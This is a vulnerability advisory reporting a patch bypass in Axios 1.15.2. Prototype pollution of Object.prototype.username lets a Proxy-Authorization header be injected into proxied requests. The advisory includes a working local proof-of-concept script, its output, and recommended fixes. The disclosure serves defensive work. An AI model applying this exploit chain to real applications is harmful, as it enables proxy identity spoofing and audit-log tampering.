[Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2

Summary

The Object.create(null) fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the top-level config object from prototype pollution. However, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain.

The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request.

Severity: Medium (CVSS 5.4) Affected Versions: 1.15.2 (and potentially 1.15.1) Vulnerable Component: lib/adapters/http.js (setProxy()) + lib/utils.js (merge())

CWE

• CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
• CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

CVSS 3.1

Score: 5.6 (Medium)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

Metric	Value	Justification
Attack Vector	Network	PP triggered remotely via vulnerable dependency
Attack Complexity	High	Requires two preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure config.proxy. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Within the proxy authentication context
Confidentiality	Low	Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike config.baseURL hijack)
Integrity	Low	Proxy-Authorization header injected; proxy may apply different access policies based on injected identity
Availability	Low	If proxy rejects the injected credentials, legitimate requests may fail

Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)

Factor	GHSA-q8qp-cvcw-x6jj	This Finding
Precondition	None — all requests affected	Must have config.proxy set
config.baseURL PP	Hijacks all relative URL requests	Not applicable
config.auth PP	Injects Authorization to target server	Only injects Proxy-Authorization to proxy
Attacker sees traffic	Yes (via baseURL redirect)	No — only proxy identity affected
Impact scope	Universal — every axios request	Only requests with explicit proxy config

This Is a Patch Bypass

This vulnerability bypasses the fix introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses Object.create(null) for the config object, blocking direct prototype pollution on config.proxy, config.auth, etc.

However, the fix is incomplete: when a user legitimately sets config.proxy = { host: 'proxy.corp', port: 8080 }, the mergeConfig() function passes this object through utils.merge(), which creates a new plain {} object (lib/utils.js:406: const result = {};). This new object inherits from Object.prototype, re-opening the prototype pollution attack surface on the nested proxy object.

Layer	Protection	Status
config (top-level)	Object.create(null)	✓ Fixed
config.proxy (nested)	utils.merge() → const result = {}	✗ NOT Fixed
setProxy() reads	proxy.username, proxy.auth without hasOwnProperty	✗ NOT Fixed

Root Cause Analysis

Step 1: utils.merge() creates plain {} for nested objects

File: lib/utils.js, line 406

function merge(/* obj1, obj2, obj3, ... */) {
  const result = {};  // ← Plain object with Object.prototype!
  // ...
}

When mergeConfig() processes config.proxy, getMergedValue() calls utils.merge(), which creates a plain {} for the nested object. This plain object inherits from Object.prototype.

Step 2: setProxy() reads proxy properties without hasOwnProperty

File: lib/adapters/http.js, lines 209-223

function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  // ...
  if (proxy) {
    if (proxy.username) {                    // ← traverses Object.prototype!
      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
    }

    if (proxy.auth) {                        // ← traverses Object.prototype!
      const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);
      if (validProxyAuth) {
        proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');
      }
      // ...
      const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');
      options.headers['Proxy-Authorization'] = 'Basic ' + base64;  // ← INJECTED!
    }
    // ...
  }
}

Complete Attack Chain

Object.prototype.username = 'attacker'
Object.prototype.password = 'stolen-creds'
         │
         ▼
  User config: { proxy: { host: 'proxy.corp', port: 8080 } }
         │
         ▼
  mergeConfig() → utils.merge() → new plain {}
  config.proxy = { host: 'proxy.corp', port: 8080 }  (own properties)
  config.proxy inherits from Object.prototype         (has .username, .password)
         │
         ▼
  setProxy() at http.js:209:
    proxy.username → 'attacker' (from Object.prototype) → truthy!
    proxy.auth = 'attacker' + ':' + 'stolen-creds'
         │
         ▼
  http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
  Injected into EVERY proxied HTTP request!

Proof of Concept

import http from 'http';
import axios from './index.js';

// Proxy server logs received Proxy-Authorization
const proxyServer = http.createServer((req, res) => {
  console.log('Proxy-Authorization:', req.headers['proxy-authorization']);
  res.writeHead(200);
  res.end('OK');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;

// Target server
const target = http.createServer((req, res) => { res.writeHead(200); res.end(); });
await new Promise(r => target.listen(0, r));

// Simulate prototype pollution from vulnerable dependency
Object.prototype.username = 'attacker';
Object.prototype.password = 'stolen-creds';

// Developer sets proxy WITHOUT auth — expects no auth header
await axios.get(`http://127.0.0.1:${target.address().port}/api`, {
  proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },
});

// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
// Decoded: attacker:stolen-creds

delete Object.prototype.username;
delete Object.prototype.password;
proxyServer.close();
target.close();

Reproduction Environment

Axios version: 1.15.2 (latest patched release)
Node.js version: v20.20.2
OS: macOS Darwin 25.4.0

Reproduction Steps

# 1. Install axios 1.15.2
npm pack [email protected]
tar xzf axios-1.15.2.tgz && mv package axios-1.15.2
cd axios-1.15.2 && npm install

# 2. Save PoC as poc.mjs (code from Section 7 above)

# 3. Run
node poc.mjs

Verified PoC Output

=== Axios 1.15.2: PP → Proxy-Authorization Injection ===

[1] Normal request with proxy (no auth):
  Proxy-Authorization: none

[2] Prototype Pollution: Object.prototype.username = "attacker"
  Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
  Decoded: attacker:stolen-creds
  → PP injected proxy credentials: attacker:stolen-creds

[3] Impact:
  ✗ Attacker injects Proxy-Authorization into all proxied requests
  ✗ If proxy logs auth, attacker credential appears in proxy logs
  ✗ If proxy authenticates based on this, attacker controls proxy identity
  ✗ Works on 1.15.2 despite null-prototype config fix
  ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype

Confirming the Bypass Mechanism

Direct PP (config.proxy) — BLOCKED by 1.15.2:
  Object.prototype.proxy = { host: 'evil' }
  config.proxy = undefined            ← null-prototype blocks ✓

Nested PP (proxy.username) — BYPASSES 1.15.2:
  Object.prototype.username = 'attacker'
  config.proxy = { host: 'legit', port: 8080 }  ← user-set, own properties
  config.proxy own keys: ['host', 'port']        ← username NOT own
  config.proxy.username = 'attacker'             ← inherited from Object.prototype!
  hasOwn(config.proxy, 'username') = false

## Impact Analysis

- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.
- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record "attacker" instead of the real user, enabling audit trail manipulation.
- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.
- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.

### Prerequisite

- Application must use `config.proxy` (explicit proxy configuration)
- A separate prototype pollution vulnerability must exist in the dependency tree
- `Object.prototype.username` or `Object.prototype.auth` must be polluted

## Recommended Fix

### Fix 1: Use `hasOwnProperty` in `setProxy()`

```javascript
function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  // ...
  if (proxy) {
    const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key);

    if (hasOwn(proxy, 'username')) {
      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
    }

    if (hasOwn(proxy, 'auth')) {
      // ... existing auth handling ...
    }
  }
}

Fix 2: Use null-prototype objects in utils.merge()

// lib/utils.js line 406
function merge(/* obj1, obj2, obj3, ... */) {
  const result = Object.create(null);  // ← null-prototype for nested objects too
  // ...
}

Fix 3 (Comprehensive): Apply null-prototype to all objects created by getMergedValue()

References

• CWE-1321: Prototype Pollution
• GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2)
• GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0)
• Axios GitHub Repository